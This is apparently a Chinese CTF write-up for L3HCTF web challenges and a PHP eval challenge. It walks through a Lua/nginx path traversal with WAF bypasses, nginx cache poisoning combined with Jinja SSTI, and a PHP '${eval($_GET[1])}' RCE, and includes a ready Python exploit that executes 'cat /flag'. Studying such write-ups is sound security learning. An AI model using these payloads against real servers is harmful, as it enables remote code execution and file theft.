# L3HCTF
# gateway_advance
这道题用 lua (一个脚本语言) 配置了 ng
worker_processes 1; | |
events { | |
use epoll; | |
worker_connections 10240; | |
} | |
http { | |
include mime.types; | |
default_type text/html; | |
access_log off; | |
error_log /dev/null; | |
sendfile on; | |
init_by_lua_block { | |
f = io.open("/flag", "r") | |
f2 = io.open("/password", "r") | |
flag = f:read("*all") | |
password = f2:read("*all") | |
f:close() | |
#此处只有 f:close (),但是没有 f2:close (),这意味着 password 可以通过 /proc/self/fd/<num > 读取(用于当前进程正在打开文件资源,通过符号链接) | |
password = string.gsub(password, "[\n\r]", "") | |
os.remove("/flag") | |
os.remove("/password") | |
} | |
server { | |
listen 80 default_server; | |
location / { | |
content_by_lua_block { | |
ngx.say("hello, world!") | |
} | |
} | |
location /static { | |
alias /www/; | |
access_by_lua_block { | |
if ngx.var.remote_addr ~= "127.0.0.1" then | |
ngx.exit(403) | |
end | |
} | |
add_header Accept-Ranges bytes; | |
} | |
location /download { | |
access_by_lua_block { | |
local blacklist = {"%.", "/", ";", "flag", "proc"} | |
local args = ngx.req.get_uri_args() | |
#获取所有 url 参数,过滤./ 防止路径遍历,; 防止读取 URL 参数注入。proc 是 linux 目录,包含系统进程,内核信息 | |
for k, v in pairs(args) do | |
for _, b in ipairs(blacklist) do | |
if string.find(v, b) then | |
ngx.exit(403) | |
end | |
end | |
end | |
} | |
#上面这一块用于前置的检查 | |
add_header Content-Disposition "attachment; filename=download.txt"; | |
#强制规范下载的文件名,后端的具体文件名不会暴露 | |
proxy_pass http://127.0.0.1/static$arg_filename; | |
#代理到后端目录,这里有个很明显的错误,static 后面没加 /, 导致直接拼接进去 | |
body_filter_by_lua_block { | |
local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"} | |
for _, b in ipairs(blacklist) do | |
if string.find(ngx.arg[1], b) then | |
ngx.arg[1] = string.rep("*", string.len(ngx.arg[1])) | |
end | |
end | |
} | |
#这里是过滤响应的内容,将响应中敏感的信息过滤,ngx.arg [1] 表示当前响应体,因为文件内容是分块传输的,需要处理每一块。rep 用于类似于 str_replace | |
} | |
location /read_anywhere { | |
access_by_lua_block { | |
if ngx.var.http_x_gateway_password ~= password then | |
ngx.say("go find the password first!") | |
ngx.exit(403) | |
end | |
} | |
content_by_lua_block { | |
local f = io.open(ngx.var.http_x_gateway_filename, "r") | |
if not f then | |
ngx.exit(404) | |
end | |
local start = tonumber(ngx.var.http_x_gateway_start) or 0 | |
local length = tonumber(ngx.var.http_x_gateway_length) or 1024 | |
if length > 1024 * 1024 then | |
length = 1024 * 1024 | |
end | |
f:seek("set", start) | |
local content = f:read(length) | |
f:close() | |
ngx.say(content) | |
ngx.header["Content-Type"] = "application/octet-stream" | |
} | |
} | |
} | |
} |
绕过第一个 waf:
漏洞点是 lua 自身的 ngx.req.get_uri_args (),nginx 本身对于传递的参数个数是没有限制的,但是
这个 ngx.req.get_uri_args 的参数上限默认是 100, 这一点通过官方文档就能发现
由于 static 设置的问题,我们可以直接构造 filename=../../../etc/passwd,实现任意文件读取,用种方法直接读取 fd:filename=../proc/self/fd/3~20 (一般而言一个进程开不了那么多文件,0 是 stdin,1 是 stdout,2 是 stderr)
绕过第二个 waf:
直接读取会被后面的 waf 过滤,可以通过单字符读取来绕过
在请求头中加入: Range: bytes=0~4
现在的问题在于,flag 文件已经被删除了,并且 f:close (),只能尝试扫描内存(/proc/self/maps)
proc/self/maps,虚拟内存映射表文件,用于实时展示虚拟内存空间的分区以及对于的物理资源:
# best_profile
先审计到一个可以注入的地方

PS: 这里非常离谱的虽然用正则匹配 ip,但是输出还是 last_ip
找到对应接口

而且

按理来说,使用 request.remote_addr 是没有办法控制这个值的,但是:


这使得原来不可控的部分可控起来,所以尝试直接使用 XFF:

没有用!再看看源代码。可以发现问题出在:

它是通过自身访问得到的,也就是说显示出来的,在正常情况下都会是 127.0.0.1,而没有其他值。再看看其他的文件:

正常 flask 题目是用不到中间件的,或者说绝大多数都不太可能用到。这说明它跟题目有关:
作为中间件,nginx 是有缓存的,这使得重复访问时有可能不会访问到实际的服务器,而是直接使用缓存。而且这个文件本身就有很多暗示:

这里不仅忽略了返回的缓存控制头,并且还设置了同一个 stati 缓存池,即使不知道缓存的作用也应该意识到这是有问题的:
然后问一问 ai 这一段的作用:

注意一下路由的名字:

缓存规则虽然本身是意在要加载的文件,但是如果我们注册了一个名叫 "az.js" 的用户呢?也是会被匹配到的并缓存的。
这样做其实也绕过了另一个限制:真正有漏洞的位于 ip_detail 路由,其内部直接访问 get_last_ip (),显然不可能是有登录的:

但是访问到缓存就没事了。
总之就是注册特定后缀的用户,并且注入 XFF 头,让 ng 缓存它:
现成 exp:
import requests | |
target = 'http://127.0.0.1' | |
headers = { | |
"X-Forwarded-For": """{占位{ config.__class__.__init__.__globals__[request.args.os].popen(request.args.cmd).read() }}""" | |
} | |
username = "potatowo.js" | |
res = requests.post(f"{target}/register", data={"username": username, "password": username, "bio": username, "submit": "Submit"}, headers=headers, allow_redirects=False, verify=False) | |
print(res.text) | |
#注册用户 | |
res = requests.post(f"{target}/login", data={"username": username, "password": username, "submit": "Submit"}, headers=headers, allow_redirects=False, verify=False) | |
cookies = res.cookies | |
print(res.text) | |
#登录 | |
res = requests.get(f"{target}/get_last_ip/{username}", cookies=cookies, headers=headers, allow_redirects=False, verify=False) | |
print(res.text) | |
#尝试注入 | |
res = requests.get(f"{target}/ip_detail/{username}?os=os&cmd=cat /flag", headers=headers, allow_redirects=False, verify=False) | |
print(res.text) | |
#这个注入 payload 作用就是在传入 os=os 时调用 os.popen () 执行 cmd 参数,对照看下 paylaod |
# gogogo 出发喽
# 其他
# php4fun_challenge2
先看源码:
<?php | |
$str=@(string)$_GET['str']; | |
eval('$str="'.addslashes($str).'";'); | |
echo "test"; | |
?> |
很显然是要 RCE,但是有几个 waf::
addslashes ():用于对特定字符转义,在前面添加反斜杠和 NULL 字符
php 中的单双引号是有区别的,单引号中的内容不会被解释,但是双引号会。这里的变量拼接是注意到 addslashes 之后是用 "" 包裹的(双引号内的单引也会被解释), 有以下规则:
$a='a'; | |
echo "${a}bc";// 在 php5 之后可以在里面使用函数,方法,静态类变量,但是必须在其命名空间中才可以,等价于: | |
echo "{${a}}bc" |
为了避免被过滤,我们嵌套一个 eval:
?str=${eval($_GET[1])}&1=system('whoami'); |

可以看到是可行的。
还有一个有趣的地方:
php 中存在可变变量,它允许你将它普通变量的值作为这个可变变量的变量名:
$a='hello'; | |
$$a='world'; | |
echo "$hello";// 等价于 echo "{$$a}", 或者 "${$a}" | |
当a为数组时: | |
${$a[1]}//$a [1] 作为变量名的变量 | |
$$a[1]//$$a 数组中的第一个 |
有的文章说和这个有关,但是我看到后面发现其实没啥关系
